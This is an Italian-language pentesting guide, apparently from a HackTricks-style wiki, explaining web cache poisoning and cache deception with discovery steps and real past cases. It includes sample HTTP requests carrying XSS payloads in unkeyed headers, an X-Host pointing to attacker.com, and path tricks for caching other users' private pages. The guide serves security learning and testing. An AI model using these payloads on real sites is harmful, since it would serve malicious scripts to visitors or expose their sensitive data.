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Cache Poisoning e Cache Deception

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La differenza

Qual è la differenza tra il web cache poisoning e il web cache deception?

  • Nel web cache poisoning, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
  • Nel web cache deception, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante recupera poi questi contenuti dalla cache.

Cache Poisoning

Il cache poisoning mira a manipolare la cache lato client per forzare i client a caricare risorse inaspettate, parziali o sotto il controllo di un attaccante. L'estensione dell'impatto dipende dalla popolarità della pagina interessata, poiché la risposta contaminata viene servita esclusivamente agli utenti che visitano la pagina durante il periodo di contaminazione della cache.

L'esecuzione di un attacco di cache poisoning coinvolge diversi passaggi:

  1. Identificazione degli Input Senza Chiave: Questi sono parametri che, sebbene non siano necessari affinché una richiesta venga memorizzata nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
  2. Sfruttamento degli Input Senza Chiave: Dopo aver identificato gli input senza chiave, il passo successivo consiste nel capire come sfruttare questi parametri per modificare la risposta del server in modo che benefici l'attaccante.
  3. Garantire che la Risposta Avvelenata sia Memorizzata nella Cache: Il passo finale è garantire che la risposta manipolata sia memorizzata nella cache. In questo modo, ogni utente che accede alla pagina interessata mentre la cache è avvelenata riceverà la risposta contaminata.

Scoperta: Controllare gli header HTTP

Di solito, quando una risposta è memorizzata nella cache ci sarà un header che lo indica, puoi controllare a quali header prestare attenzione in questo post: Header di cache HTTP.

Scoperta: Codici di errore di caching

Se pensi che la risposta sia memorizzata in una cache, potresti provare a inviare richieste con un header errato, che dovrebbe ricevere un codice di stato 400. Quindi prova ad accedere alla richiesta normalmente e se la risposta è un codice di stato 400, sai che è vulnerabile (e potresti persino eseguire un DoS).

Puoi trovare più opzioni in:

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Tuttavia, nota che a volte questi tipi di codici di stato non vengono memorizzati quindi questo test potrebbe non essere affidabile.

Scoperta: Identificare ed valutare gli input senza chiave

Potresti utilizzare Param Miner per forzare i parametri e gli header che potrebbero cambiare la risposta della pagina. Ad esempio, una pagina potrebbe utilizzare l'header X-Forwarded-For per indicare al client di caricare lo script da lì:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Elicitare una risposta dannosa dal server back-end

Con il parametro/header identificato, controlla come viene sanitizzato e dove viene riflesso o influisce sulla risposta dall'header. Puoi sfruttarlo in qualche modo (eseguire un XSS o caricare un codice JS controllato da te? eseguire un DoS?...)

Ottenere la risposta memorizzata nella cache

Una volta che hai identificato la pagina che può essere sfruttata, quale parametro/header utilizzare e come sfruttarlo, devi ottenere la pagina memorizzata nella cache. A seconda della risorsa che stai cercando di ottenere nella cache, potrebbe richiedere del tempo, potresti dover provare per diversi secondi.
L'header X-Cache nella risposta potrebbe essere molto utile in quanto potrebbe avere il valore miss quando la richiesta non è stata memorizzata nella cache e il valore hit quando è memorizzata nella cache.
Anche l'header Cache-Control è interessante per sapere se una risorsa viene memorizzata nella cache e quando sarà la prossima volta che la risorsa verrà nuovamente memorizzata nella cache: Cache-Control: public, max-age=1800
Un altro header interessante è Vary. Questo header viene spesso utilizzato per indicare header aggiuntivi che vengono considerati parte della chiave di cache anche se normalmente non sono chiave. Pertanto, se l'utente conosce l'User-Agent della vittima che sta mirando, può avvelenare la cache per gli utenti che utilizzano quel particolare User-Agent.
Un altro header correlato alla cache è Age. Definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.

Quando si memorizza una richiesta, presta attenzione agli header che utilizzi perché alcuni di essi potrebbero essere utilizzati in modo inaspettato come chiave e la vittima dovrà utilizzare lo stesso header. Testa sempre un Avvelenamento della Cache con browser diversi per verificare se funziona.

Esempi di Sfruttamento

Esempio più semplice

Un header come X-Forwarded-For viene riflesso nella risposta non sanificata.
Puoi inviare un payload XSS di base e avvelenare la cache in modo che chiunque acceda alla pagina sarà soggetto a un attacco XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Nota che questo avvelenerà una richiesta a /en?region=uk e non a /en

Avvelenamento della cache per DoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Utilizzo dell'avvelenamento della cache web per sfruttare le vulnerabilità di gestione dei cookie

I cookie potrebbero anche essere riflessi nella risposta di una pagina. Se puoi abusarne per causare un XSS, ad esempio, potresti essere in grado di sfruttare XSS in diversi client che caricano la risposta della cache dannosa.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Nota che se il cookie vulnerabile è molto utilizzato dagli utenti, le richieste regolari puliranno la cache.

Avvelenamento della cache con attraversamento del percorso per rubare la chiave API

Questo articolo spiega come sia stato possibile rubare una chiave API di OpenAI con un URL come https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 perché tutto ciò che corrisponde a /share/* verrà memorizzato nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.

Utilizzo di intestazioni multiple per sfruttare le vulnerabilità di avvelenamento della cache web

A volte sarà necessario sfruttare diversi input non chiave per poter abusare di una cache. Ad esempio, potresti trovare un reindirizzamento aperto se imposti X-Forwarded-Host su un dominio controllato da te e X-Forwarded-Scheme su http. Se il server sta inoltrando tutte le richieste HTTP a HTTPS e utilizzando l'intestazione X-Forwarded-Scheme come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina viene puntata dal reindirizzamento.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Sfruttare con l'header Vary limitato

Se hai scoperto che l'header X-Host viene utilizzato come nome di dominio per caricare una risorsa JS ma l'header Vary nella risposta indica User-Agent. Allora, devi trovare un modo per esfiltrare l'User-Agent della vittima e avvelenare la cache utilizzando quell'User-Agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Invia una richiesta GET con la richiesta nell'URL e nel corpo. Se il server web utilizza quella dal corpo ma il server cache memorizza quella dall'URL, chiunque acceda a quell'URL utilizzerà effettivamente il parametro dal corpo. Come la vulnerabilità trovata da James Kettle sul sito web di Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Inganno dei parametri

Ad esempio è possibile separare i parametri nei server ruby utilizzando il carattere ; invece di &. Questo potrebbe essere utilizzato per inserire valori di parametri non chiave all'interno di quelli chiave e abusarne.

Laboratorio di Portswigger: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Sfruttare l'avvelenamento della cache HTTP abusando dello Smuggling delle Richieste HTTP

Scopri qui come eseguire attacchi di Avvelenamento della Cache sfruttando lo Smuggling delle Richieste HTTP.

Test automatico per l'Avvelenamento della Cache Web

Lo Scanner di Vulnerabilità della Cache Web può essere utilizzato per testare automaticamente l'avvelenamento della cache web. Supporta molte tecniche diverse ed è altamente personalizzabile.

Esempio di utilizzo: wcvs -u example.com


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Esempi Vulnerabili

Apache Traffic Server (CVE-2021-27577)

ATS inoltrava il frammento all'interno dell'URL senza rimuoverlo e generava la chiave della cache utilizzando solo l'host, il percorso e la query (ignorando il frammento). Quindi la richiesta /#/../?r=javascript:alert(1) veniva inviata al backend come /#/../?r=javascript:alert(1) e la chiave della cache non conteneva il payload al suo interno, solo host, percorso e query.

GitHub CP-DoS

L'invio di un valore errato nell'intestazione content-type attivava una risposta in cache 405. La chiave della cache conteneva il cookie quindi era possibile attaccare solo gli utenti non autenticati.

GitLab + GCP CP-DoS

GitLab utilizza i bucket GCP per memorizzare contenuti statici. I bucket GCP supportano l'intestazione x-http-method-override. Quindi era possibile inviare l'intestazione x-http-method-override: HEAD e avvelenare la cache restituendo un corpo della risposta vuoto. Poteva anche supportare il metodo PURGE.

Rack Middleware (Ruby on Rails)

Nelle applicazioni Ruby on Rails, spesso viene utilizzato il middleware Rack. Lo scopo del codice Rack è quello di prendere il valore dell'intestazione x-forwarded-scheme e impostarlo come schema della richiesta. Quando viene inviata l'intestazione x-forwarded-scheme: http, si verifica un reindirizzamento 301 alla stessa posizione, causando potenzialmente un Denial of Service (DoS) a tale risorsa. Inoltre, l'applicazione potrebbe riconoscere l'intestazione X-forwarded-host e reindirizzare gli utenti all'host specificato. Questo comportamento può portare al caricamento di file JavaScript dal server di un attaccante, creando un rischio per la sicurezza.

403 e Bucket di Archiviazione

Cloudflare in passato memorizzava le risposte 403 in cache. Tentare di accedere a S3 o Azure Storage Blobs con intestazioni di autorizzazione non corrette avrebbe comportato una risposta 403 che veniva memorizzata in cache. Anche se Cloudflare ha smesso di memorizzare in cache le risposte 403, questo comportamento potrebbe essere ancora presente in altri servizi proxy.

Iniezione di Parametri Chiave

Le cache includono spesso specifici parametri GET nella chiave della cache. Ad esempio, Varnish di Fastly memorizzava il parametro size nelle richieste. Tuttavia, se veniva inviata anche una versione URL-encoded del parametro (ad esempio, siz%65) con un valore errato, la chiave della cache sarebbe stata costruita utilizzando il parametro size corretto. Tuttavia, il backend avrebbe elaborato il valore nel parametro URL-encoded. L'URL-encoding del secondo parametro size portava alla sua esclusione dalla cache ma alla sua utilizzazione dal backend. Assegnare un valore di 0 a questo parametro risultava in un errore 400 Bad Request memorizzabile nella cache.

Regole User Agent

Alcuni sviluppatori bloccano le richieste con user-agent corrispondenti a strumenti ad alto traffico come FFUF o Nuclei per gestire il carico del server. Ironicamente, questo approccio può introdurre vulnerabilità come l'avvelenamento della cache e il DoS.

Campi Intestazione Illegali

Il RFC7230 specifica i caratteri accettabili nei nomi degli header. Gli header contenenti caratteri al di fuori dell'intervallo tchar specificato dovrebbero idealmente attivare una risposta 400 Bad Request. Nella pratica, i server non sempre rispettano questo standard. Un esempio notevole è Akamai, che inoltra gli header con caratteri non validi e memorizza qualsiasi errore 400, a condizione che l'intestazione cache-control non sia presente. È stato identificato un pattern sfruttabile in cui l'invio di un'intestazione con un carattere non valido, come \, avrebbe comportato un errore 400 Bad Request memorizzabile nella cache.

Trovare nuovi header

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Inganno della Cache

L'obiettivo dell'Inganno della Cache è far sì che i client carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili.

Innanzitutto, nota che le estensioni come .css, .js, .png ecc. sono di solito configurate per essere salvate nella cache. Pertanto, se accedi a www.example.com/profile.php/nonexistent.js la cache probabilmente memorizzerà la risposta perché vede l'estensione .js. Ma, se l'applicazione sta reinviando con i contenuti sensibili dell'utente memorizzati in www.example.com/profile.php, puoi rubare quei contenuti da altri utenti.

Altre cose da testare:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Utilizzare estensioni meno conosciute come .avif

Un altro esempio molto chiaro si trova in questo articolo: https://hackerone.com/reports/593712.
Nell'esempio, si spiega che se si carica una pagina inesistente come http://www.example.com/home.php/non-existent.css il contenuto di http://www.example.com/home.php (con le informazioni sensibili dell'utente) verrà restituito e il server della cache salverà il risultato.
Quindi, l'attaccante può accedere a http://www.example.com/home.php/non-existent.css nel proprio browser e osservare le informazioni riservate degli utenti che hanno accesso in precedenza.

Nota che il proxy della cache dovrebbe essere configurato per memorizzare i file in base all'estensione del file (.css) e non in base al tipo di contenuto. Nell'esempio http://www.example.com/home.php/non-existent.css avrà un content-type text/html invece di un tipo mime text/css (che è quello atteso per un file .css).

Scopri qui come eseguire attacchi di Inganno della Cache sfruttando lo Smuggling delle Richieste HTTP.

Strumenti Automatici

  • toxicache: Scanner Golang per trovare vulnerabilità di avvelenamento della cache web in un elenco di URL e testare diverse tecniche di iniezione.

Riferimenti


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